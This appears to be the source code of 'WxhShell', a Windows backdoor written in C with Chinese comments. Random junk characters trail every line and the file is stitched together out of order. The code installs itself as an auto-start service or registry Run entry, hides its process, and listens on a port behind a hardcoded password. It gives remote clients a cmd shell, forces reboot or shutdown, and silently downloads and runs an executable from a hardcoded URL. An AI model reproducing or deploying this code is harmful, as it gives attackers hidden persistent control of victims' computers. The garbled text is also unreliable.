    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~AW( VX  
    else { @ JfQ}`  
    closesocket(wsh); *";O_ :C!  
    ExitThread(0); [QDM_n  
    } +\x}1bNS%j  
    break; $y_P14  
    } _aP 2gH  
  // 获取shell ~ugyUpY"  
  case 's': { aY8QYK ;?^  
    CmdShell(wsh); /Ue_1Efa  
    closesocket(wsh); GR,gCtG+L  
    ExitThread(0); ruU &.mZ  
    break; $tqr+1P  
  } _T.T[%-&=  
  // 退出 ;9;jUQ]MyG  
  case 'x': { HVz|*?&6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O77^.B  
    CloseIt(wsh); K+<F, P  
    break; (zml704dI)  
    } AA XQ+!  
  // 离开 WRqpQEY  
  case 'q': { N{&Hq4^c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m)ENj6A>yP  
    closesocket(wsh); +JejnG0  
    WSACleanup(); Ake$M^Bz  
    exit(1); Yln[ZmK9g  
    break; QB5,Vfoux  
        } @bIZ0tr4  
  } bLSUF`-z  
  } {k uC+~R  
3~EPX`#[W  
  // 提示信息 }X9G(`N(}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %~I%*=o[  
} 2l}H=DZV  
  } Oj1B @QE  
9j>LU<Z  
  return; /_mU%fl  
} :Aa5,{v _  
E?(:9#02  
// shell模块句柄 E_H.!pr  
int CmdShell(SOCKET sock) 3of0f{ZTj  
{ , Y^GQ`~#  
STARTUPINFO si; lho0Xy gn  
ZeroMemory(&si,sizeof(si)); FT6~\9m(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }u+cS[#-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T4Io+b8 $  
PROCESS_INFORMATION ProcessInfo; 3Ct)5J  
char cmdline[]="cmd"; *Eu ca~%=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g}@_ @  
  return 0; &4sUi K"  
} Z_D8}$!  
~K 8eRT  
// 自身启动模式 .JZoZ.FAb  
int StartFromService(void) 1j# ~:=I  
{ Lg[*P8wE  
typedef struct ..3TB=Z#  
{ #IA[erf:  
  DWORD ExitStatus; CtV$lXxup  
  DWORD PebBaseAddress; _\>?.gg$  
  DWORD AffinityMask; NQ !t`  
  DWORD BasePriority; ;#I(ucB<  
  ULONG UniqueProcessId; nM34zVy  
  ULONG InheritedFromUniqueProcessId; OljUK,I]  
}   PROCESS_BASIC_INFORMATION; 6 9ia #  
U_m<W$"HF  
PROCNTQSIP NtQueryInformationProcess; m.EI("n"J  
^q_0(Vf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1]aM)},  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mQtGE[  
}k.-xaj  
  HANDLE             hProcess; kB_GL>fc  
  PROCESS_BASIC_INFORMATION pbi; (]^9>3{|  
$)vljM<<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nV,qC .z  
  if(NULL == hInst ) return 0; =Bi>$Ly  
]8*g%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +'2Mj|d@p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $SRpFz5y$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] NL-)8u  
GN?^7kI  
  if (!NtQueryInformationProcess) return 0; N\l\ M  
_N$3c<dY'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z 3fS+x:E{  
  if(!hProcess) return 0; f%` =>l  
b/5?)!I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; thDQ44<#)  
s[NkPh9&  
  CloseHandle(hProcess); kjfZ*V=-  
2aX|E4F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q|b#=Af]g  
if(hProcess==NULL) return 0; '}e_8 FS  
m"<0sqD;  
HMODULE hMod; >K1)XP  
char procName[255]; RmY5/IYR|:  
unsigned long cbNeeded; b %L8mX  
TDs=VTd@Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B/:q  
!JzM<hyg3  
  CloseHandle(hProcess); fchsn*R%-  
n@XI$>B  
if(strstr(procName,"services")) return 1; // 以服务启动 B^P)(Nu+  
t,M _  
  return 0; // 注册表启动 *BH*   
} X#'DS&{  
L/_h5Q:'W  
// 主模块 F$ShhZgi  
int StartWxhshell(LPSTR lpCmdLine) V$VqYy9 *  
{ ?>cx; "xF  
  SOCKET wsl; LdwWB `L  
BOOL val=TRUE; I?uU }NK  
  int port=0; %%)"W n#`  
  struct sockaddr_in door; >0DQ<@ot:  
t,#7F$t  
  if(wscfg.ws_autoins) Install(); jOa . h  
^=.R#zrc  
port=atoi(lpCmdLine); /17Qhex  
i#Io;  
if(port<=0) port=wscfg.ws_port; m~'!  
Q [kbEhv;  
  WSADATA data; NQz*P.q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JGOry \  
@X+m,u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %O B:lAeJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dKTyh:_{  
  door.sin_family = AF_INET; 3p6QJuSB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oq@+/UWX  
  door.sin_port = htons(port); f(:+JH<P~  
u,AP$+Qk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6=U81  
closesocket(wsl); y$|%K3  
return 1; yhv(KI  
} Q@?8-  
Ok2KTsVl  
  if(listen(wsl,2) == INVALID_SOCKET) { ]$Pl[Vegy  
closesocket(wsl); S[J eW  
return 1; g= ~Y\$&  
} k#uSH eq7f  
  Wxhshell(wsl); I{tY;b'w  
  WSACleanup(); ;$,=VB:'  
S "'0l S   
return 0; -} Zck1  
@W6:JO  
} WfpQ   
uNCM,J!#~  
// 以NT服务方式启动 /4/'&tY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Ds d Q4Y  
{ 1/+d@s#t  
DWORD   status = 0;  9uR+  
  DWORD   specificError = 0xfffffff; hb#Nm6  
LvtHWt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U{i xok  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N(uHy@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F] e` -;  
  serviceStatus.dwWin32ExitCode     = 0; bCMo8Xh  
  serviceStatus.dwServiceSpecificExitCode = 0; 3}aKok"k  
  serviceStatus.dwCheckPoint       = 0; ?+av9;Kg  
  serviceStatus.dwWaitHint       = 0; ze2%#<  
* N>n5B2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q2yD4>qy  
  if (hServiceStatusHandle==0) return; eyW8?:  
&H8wYs  
status = GetLastError(); B-^r0/y;  
  if (status!=NO_ERROR) kvcDa+#  
{ Em)U`"j/9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #lAC:>s3U  
    serviceStatus.dwCheckPoint       = 0; uN>JX/-  
    serviceStatus.dwWaitHint       = 0; oCfO:7  
    serviceStatus.dwWin32ExitCode     = status; GT.1,E ,Vw  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6&| hpp#[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XSk*w'xO  
    return; =~zsah6N  
  } hr$Wt ?B  
yq.<,b=87  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f~Y;ZvB  
  serviceStatus.dwCheckPoint       = 0; 4`yE'%6.}  
  serviceStatus.dwWaitHint       = 0; mi[t1cN)=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OT 0%p)  
} JfD-CoQS'  
fg$#ZCi  
// 处理NT服务事件,比如:启动、停止 fi%)520  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &1 /OwTI4J  
{ WC0z'N({W  
switch(fdwControl) Kb X&E0  
{ -t]3 gCLb  
case SERVICE_CONTROL_STOP: SR%k|YT  
  serviceStatus.dwWin32ExitCode = 0;  :o~]FVf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aVB/Co M9  
  serviceStatus.dwCheckPoint   = 0; $UNC0 (4  
  serviceStatus.dwWaitHint     = 0; m tU{d^B  
  { {zX]4 1T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fn>KdoByN  
  } )<Fq}Q86  
  return; w*?SGW  
case SERVICE_CONTROL_PAUSE: %xt;&HE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q,nJz*AJ  
  break; +3uPHpMB-  
case SERVICE_CONTROL_CONTINUE: T@wgWE<0y_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5{/uHscwLa  
  break; 'oKen!?A  
case SERVICE_CONTROL_INTERROGATE: CbGfVdw/c  
  break; j,n\`7dD$  
}; [)+wke9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6am g*=]  
} _'8P8 T&  
J':X$>E|  
// 标准应用程序主函数 r[?GO"ej5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $RH.  
{ R + ~b@  
= N&5]Z  
// 获取操作系统版本 SzP`(}AU  
OsIsNt=GetOsVer(); NSawD.9mV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pfBe24q  
rjffpU  
  // 从命令行安装 |\zzOfaO  
  if(strpbrk(lpCmdLine,"iI")) Install(); N0DzFXp  
:KmnwYm  
  // 下载执行文件 &(7=NAQsE  
if(wscfg.ws_downexe) { dI%?uk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6k_Uq.<X  
  WinExec(wscfg.ws_filenam,SW_HIDE); i0:1+^3^U  
} 7s0\`eXo/  
=cpUc]~  
if(!OsIsNt) { },n?  
// 如果时win9x,隐藏进程并且设置为注册表启动 q9 :g  
HideProc(); +GJPj(S  
StartWxhshell(lpCmdLine); NSa6\.W)  
} zO`4W!x&  
else @(bg#  
  if(StartFromService()) C.BlB  
  // 以服务方式启动 2HUw^ *3  
  StartServiceCtrlDispatcher(DispatchTable); }?\^^v h7  
else 8.,d`~  
  // 普通方式启动 P_4E<"eK  
  StartWxhshell(lpCmdLine); @Jx1n Q^  
IRGcE&m  
return 0; h;@c%Vm  
} qnCjNN  
WBD?|Ss  
;j.-6#n  
F\, vIS  
=========================================== [~PR\qm  
Ur]/kij  
o%bf7)~s  
|1GOm=GNK  
6Df*wi!jI  
,<N{Y[n]e  
" HfZ^ED"}  
TjDtNE  
#include <stdio.h> 'hE'h?-7  
#include <string.h> IyI0|&r2A  
#include <windows.h> uu9IUqEq2  
#include <winsock2.h> (\D E1q  
#include <winsvc.h> d~AL4~}  
#include <urlmon.h> ^U5Qb"hz  
"~=-Q#xO  
#pragma comment (lib, "Ws2_32.lib") Nm !~h|3  
#pragma comment (lib, "urlmon.lib") RIQ-mpg~(k  
eF]8Ar1  
#define MAX_USER   100 // 最大客户端连接数 R# T 6]  
#define BUF_SOCK   200 // sock buffer `Xz!apA  
#define KEY_BUFF   255 // 输入 buffer G^N@ r:RS  
4Q/{lqG  
#define REBOOT     0   // 重启 OP<N!y?[  
#define SHUTDOWN   1   // 关机 "u]&~$  
GeDI\-  
#define DEF_PORT   5000 // 监听端口 r;xy/*%Mtj  
&<x.D]FA]  
#define REG_LEN     16   // 注册表键长度 99.F'Gz  
#define SVC_LEN     80   // NT服务名长度 YA@MLZm  
Jz=|-F(Sy  
// 从dll定义API ~4pP( JP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |.,]0CRg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pHuR_U5*?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Unv'm5/L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <#J5.I 1  
RyP MzxV  
// wxhshell配置信息 gyMHC{l/B  
struct WSCFG { d!w3LwZ  
  int ws_port;         // 监听端口 5RvE ),  
  char ws_passstr[REG_LEN]; // 口令  63 'X#S  
  int ws_autoins;       // 安装标记, 1=yes 0=no MT"&|Og  
  char ws_regname[REG_LEN]; // 注册表键名 )=sbrCl,C/  
  char ws_svcname[REG_LEN]; // 服务名 =6qTz3t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^GAJ9AF@(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #M{qMJHDo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,#FP]$FK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gyD;kn\CP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i(pHJP:a:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2,dWD<h  
p J_+n:_{  
}; ~uH_y-  
04jvrde8-O  
// default Wxhshell configuration yq49fEgc@U  
struct WSCFG wscfg={DEF_PORT, 6F!B*lr  
    "xuhuanlingzhe", (M"rpG>L  
    1, ~5`oNa  
    "Wxhshell", 5?F5xiW  
    "Wxhshell", t[J=8rhER  
            "WxhShell Service", Vi:^bv  
    "Wrsky Windows CmdShell Service", W^H3=hZ  
    "Please Input Your Password: ", 9sT5l"?g  
  1, $:%E<j 4Dn  
  "http://www.wrsky.com/wxhshell.exe", =qc+sMo  
  "Wxhshell.exe" hrtz>qN  
    }; ! ig& 8:  
GLyPgZ`|  
// 消息定义模块 :^ WF% X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G~o!u8^;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5LB{b]w7m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h Fik>B#!  
char *msg_ws_ext="\n\rExit."; 0W}qp?  
char *msg_ws_end="\n\rQuit."; 9M;t4Um  
char *msg_ws_boot="\n\rReboot..."; RSe4 lw  
char *msg_ws_poff="\n\rShutdown..."; Go)g}#.&  
char *msg_ws_down="\n\rSave to "; ^t5My[R  
>9rZV NMU  
char *msg_ws_err="\n\rErr!"; }a$.ngP  
char *msg_ws_ok="\n\rOK!"; >iae2W`  
g&c ~grD  
char ExeFile[MAX_PATH]; {='Bd6_=  
int nUser = 0; eFG(2OVg}M  
HANDLE handles[MAX_USER]; RzjUrt  
int OsIsNt; l>}f{az-T  
<BED&j!qvP  
SERVICE_STATUS       serviceStatus; ~<f[7dBv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; } 1e4u{  
UPU$SZAIx  
// 函数声明 VJqk0w+  
int Install(void); ]vlBYAW'  
int Uninstall(void); R`cP%7K  
int DownloadFile(char *sURL, SOCKET wsh); o(oOB  
int Boot(int flag); a3<:F2=~\  
void HideProc(void); @2/|rq  
int GetOsVer(void); OIL8'xY.w  
int Wxhshell(SOCKET wsl); NDP" @  
void TalkWithClient(void *cs); [p9v#\G; [  
int CmdShell(SOCKET sock); N=BG0t$  
int StartFromService(void); (_zlCHB  
int StartWxhshell(LPSTR lpCmdLine); A vq+s.h  
>< $LV&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WA8<:#{e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @wgd 3BU  
]~I+d/k d  
// 数据结构和表定义 ~_vSMX  
SERVICE_TABLE_ENTRY DispatchTable[] = Ztg_='n  
{ 9Q%lS  
{wscfg.ws_svcname, NTServiceMain}, s:}? rSI  
{NULL, NULL} 'ZW(Hjrd  
}; }I&.xzJ  
ZrTB%  
// 自我安装 X+aQ 7^"s  
int Install(void) = 'NV3by  
{ hr}f5Z)^v  
  char svExeFile[MAX_PATH]; &7f8\TG|  
  HKEY key; _ \6v@  
  strcpy(svExeFile,ExeFile); & "&s,  
G n]qh(N>  
// 如果是win9x系统,修改注册表设为自启动 uqC#h,~ 0  
if(!OsIsNt) { FKTF?4+\U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bz/Vzc(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z}ar$}T  
  RegCloseKey(key);  f\<r1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N s+g9+<A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L'e^D|  
  RegCloseKey(key); yov~'S9  
  return 0; aDK b78 1d  
    } HE,L8S  
  } 2|,L 9  
} WFOJg&  
else { @gD) pH  
{*7MT}{(  
// 如果是NT以上系统,安装为系统服务 Ai < beUS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dcvul4Q  
if (schSCManager!=0) tk%f_"}  
{ `FMo; ,j  
  SC_HANDLE schService = CreateService ?8-!hU@QC  
  ( 'q-q4 QCB  
  schSCManager, z l@^[km{  
  wscfg.ws_svcname,  2h   
  wscfg.ws_svcdisp, Mj MDD  
  SERVICE_ALL_ACCESS, _]`7et\=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [s>3xWZ+a  
  SERVICE_AUTO_START, fY!?rZ)$  
  SERVICE_ERROR_NORMAL, Sf*)Z3f  
  svExeFile, ]nhh|q9r{  
  NULL, NUFz'MPv  
  NULL, 5l6/5  
  NULL, qNQ54#  
  NULL, e^Zm09J  
  NULL VI2lw E3  
  ); fHup&|.  
  if (schService!=0) 4!/JN J  
  { UphTMyn3  
  CloseServiceHandle(schService); y|5s  
  CloseServiceHandle(schSCManager); DXiA4ihr=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %bDxvaftT  
  strcat(svExeFile,wscfg.ws_svcname); MxsLrWxm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (F4e}hr&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xnY?<?J"!  
  RegCloseKey(key); $Z@*!B^  
  return 0; ?G,4N<]Nu  
    } >!=@TK(~  
  } c@t?R$c  
  CloseServiceHandle(schSCManager); Ga7E}y%  
} >|QH I d8  
} OIrm9D #  
RV~fml9c  
return 1; P}@AH02  
} ~Ru\Z-q1  
7ftn gBv?  
// 自我卸载 QH/py  
int Uninstall(void) TpKAdrY  
{ uY& 1[(Pb  
  HKEY key; /f3/}x!po  
{@InOo!4w]  
if(!OsIsNt) { KZppQ0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?"x4u#x  
  RegDeleteValue(key,wscfg.ws_regname); C}8#yAS9M  
  RegCloseKey(key); b(*\4n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E3uu vQ#|  
  RegDeleteValue(key,wscfg.ws_regname); Je6[q  
  RegCloseKey(key); 2Vx4"fHP#N  
  return 0; y(COB6r  
  } Pd91<L  
} z#tIa  
} iq; | i!  
else { 75# 8P?i  
g&$=Y7G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tIuM9D{P  
if (schSCManager!=0) *2/Jg'de  
{ axC|,8~tq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,;g%/6X  
  if (schService!=0) P@7>R7gS  
  { <0CjEsAB]  
  if(DeleteService(schService)!=0) { NHd@s#@  
  CloseServiceHandle(schService); #A/OGi  
  CloseServiceHandle(schSCManager); 2 *NPK}  
  return 0; Rt8[P6e"q  
  } B.8B1MFm  
  CloseServiceHandle(schService); 6 4_}"fU  
  } V?{d<Ng~J  
  CloseServiceHandle(schSCManager); Vq'7gJj'  
} t1']q"  
} uavATnGO{B  
AFAg3/  
return 1; 4=yzf  
} .|,LBc!  
>tM4|w|  
// 从指定url下载文件 @;/Pl>$|'G  
int DownloadFile(char *sURL, SOCKET wsh) ?H=YJK$k  
{ sVFO&|L  
  HRESULT hr; P#O" {+`  
char seps[]= "/"; cE\w6uBR1  
char *token; [3Q0KCZ0(  
char *file; Af|h*V4Xu  
char myURL[MAX_PATH]; -<g9 ) CV5  
char myFILE[MAX_PATH]; (p{X.X+  
)d3 09O  
strcpy(myURL,sURL); ,?GwA@~$k:  
  token=strtok(myURL,seps); `d_T3^ayu  
  while(token!=NULL) ]es|%j 2  
  { uMcI'=  
    file=token; 'm`O34h  
  token=strtok(NULL,seps); 8~'cP?  
  } ~fXNj-'RW  
B"43o7C  
GetCurrentDirectory(MAX_PATH,myFILE); x"2p5T7*>  
strcat(myFILE, "\\"); AzU:Dxr>.G  
strcat(myFILE, file); j\uZo.Ot+  
  send(wsh,myFILE,strlen(myFILE),0); jX7K- L  
send(wsh,"...",3,0); ?@"@9na  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jq_\r' YE  
  if(hr==S_OK) S@,/$L  
return 0; )PN8HJAArh  
else K?l|1jez(#  
return 1; u3h(EAH>  
g0,~|.  
} 7Jb&~{DVk  
$[T ~<I  
// 系统电源模块 db )2>  
int Boot(int flag) =D(a~8&,  
{ 6qZQ20h  
  HANDLE hToken; \]x`f3F  
  TOKEN_PRIVILEGES tkp; 3! P^?[p3  
7F"ljkN1S  
  if(OsIsNt) { 48xgl1R(j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7'wpPXdY1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  4!!|P  
    tkp.PrivilegeCount = 1; maa pX/J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 01n!T2;yW}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D^r g-E[L  
if(flag==REBOOT) { +Nn >*sz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >@N.jw>#T  
  return 0; 1]} \h]*  
} !&U75FpN}:  
else {  <$nPGz)}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2f(`HSC'  
  return 0; d!I%AlV  
} `q}D#0  
  } LW=qX%o{  
  else { =9&2udV1  
if(flag==REBOOT) { 1RkN^FZOxq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Trirb'qO  
  return 0; m-{DhJV  
} NZGO8u  
else { gc4o |x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s.z)l$  
  return 0; B;bP~e>W  
} 'M%iS4b{IM  
} }cz58%  
/IirTmFK  
return 1; RY5e%/bg~U  
} wU%uO/sU9  
AG >D,6Y  
// win9x进程隐藏模块 ~criZI/  
void HideProc(void) X0*+]tRg  
{ ca=MUm=B  
. r/s.g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (s'xO~p  
  if ( hKernel != NULL ) P0UR{tK  
  { caEIE0H~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P~(&lu/;P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :$Cm]RZ  
    FreeLibrary(hKernel); !KV!Tkx h  
  } " lD -*e4  
zZ}. 2He8  
return; Wi$?k {C  
} QmBHD;Gf  
t(}Y/'  
// 获取操作系统版本 9ERdjS  
int GetOsVer(void) 5T/+pC$e=  
{ XzAXcxC6G  
  OSVERSIONINFO winfo; pll5m7[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z{3=.z{&^=  
  GetVersionEx(&winfo); y95  #t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eHx {[J?  
  return 1;  o]0E  
  else .Z 7t E?  
  return 0; ,5 8-h?B0v  
} T:j41`g%s  
i(A `'V8GY  
// 客户端句柄模块 <,Gjo]z  
int Wxhshell(SOCKET wsl) %YxKWZ/?  
{ u9_? c G-  
  SOCKET wsh; k1[`2k:Hk  
  struct sockaddr_in client; e ,XT(KY  
  DWORD myID; Q*1Avy6]  
li3X}  
  while(nUser<MAX_USER) (fc_V[(m"  
{ UHJro9  
  int nSize=sizeof(client); ZV Ko$q:F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ycN!N  
  if(wsh==INVALID_SOCKET) return 1; PR;Bxy  
''2:ZXX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6@Q; LV+  
if(handles[nUser]==0) .WglLUJ:Z  
  closesocket(wsh); L <  
else "P5,p"k:)  
  nUser++; :Nz TEK  
  } r0z8?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E:}s 6l  
Njo.-k  
  return 0; L `2{H%J`  
} dsEvpa$?  
F, =WfM\  
// 关闭 socket xqT} 9,  
void CloseIt(SOCKET wsh) b#709VHm  
{ w_@6!zm  
closesocket(wsh); :4:U\k;QwA  
nUser--; 6hcs )X7m  
ExitThread(0); #E4oq9{0*W  
} ^g'uR@uU  
N]BH67<  
// 客户端请求句柄 KYhL}C+  
void TalkWithClient(void *cs) o &b\bK%E  
{ '<"%>-^Gn  
i [/1AI  
  SOCKET wsh=(SOCKET)cs; |}l/6WHB  
  char pwd[SVC_LEN]; `[=/f=Q}  
  char cmd[KEY_BUFF]; mv<cyWp  
char chr[1]; ?zo7.R-Vac  
int i,j; }m!T~XR</  
p E1uD4lLb  
  while (nUser < MAX_USER) { *R&77 o7  
Vl7V?`_4  
if(wscfg.ws_passstr) { ^(*eoe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )x5w`N]lm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RG1#\d-fE  
  //ZeroMemory(pwd,KEY_BUFF); sI)jqHZG  
      i=0; #;2kN &  
  while(i<SVC_LEN) { <Rt0 V%}-  
ziAn9/sT  
  // 设置超时 *E@as  
  fd_set FdRead; *eAt'  
  struct timeval TimeOut; +5ql`C  
  FD_ZERO(&FdRead); a/d8_(0  
  FD_SET(wsh,&FdRead); nQw, /L k  
  TimeOut.tv_sec=8; ylmVmHmc  
  TimeOut.tv_usec=0; * se),CP!s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~@^pX*%i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OoOwEV2p_  
<SRSJJR|(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ze`ms96j{  
  pwd=chr[0]; pfk)_;>,  
  if(chr[0]==0xd || chr[0]==0xa) { k DKfJp&a  
  pwd=0; i .?l\  
  break; CwF=@:*d  
  } o>M&C X+j$  
  i++; `yXHb  
    } %H"AHkge:a  
_h B7;N3  
  // 如果是非法用户,关闭 socket >+BLD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kn+B):OY+  
} YZ0Q?7l7  
e<{Ani0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9@(V!G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #1>c)_H  
?cr^.LV|h^  
while(1) { 7*&q"   
_t7aOH  
  ZeroMemory(cmd,KEY_BUFF); -A8CW9|mk  
~:A=o?V2  
      // 自动支持客户端 telnet标准   ~RM_c  
  j=0; xqKj&RuLu  
  while(j<KEY_BUFF) { [MM`#!K%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uY )|   
  cmd[j]=chr[0]; JOq&(AZe  
  if(chr[0]==0xa || chr[0]==0xd) { dqL)q3  
  cmd[j]=0; 9H%L;C5<  
  break; )J|~'{z:  
  } J16(d+  
  j++; @}e5T/{X}T  
    } 5,V3_p:)VI  
^^*dHWHn<  
  // 下载文件 ID=^497  
  if(strstr(cmd,"http://")) { W GMEZx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ADZU?7)  
  if(DownloadFile(cmd,wsh)) w#$Q?u ,G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]+78 "(  
  else \R#OJ=F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  cCy*?P@  
  } NHz hGg]  
  else { [RUYH5>Ik  
uHO>FM,  
    switch(cmd[0]) { [lAZ)6E~=  
  4}HY= 0Um  
  // 帮助 >uDE<MUC  
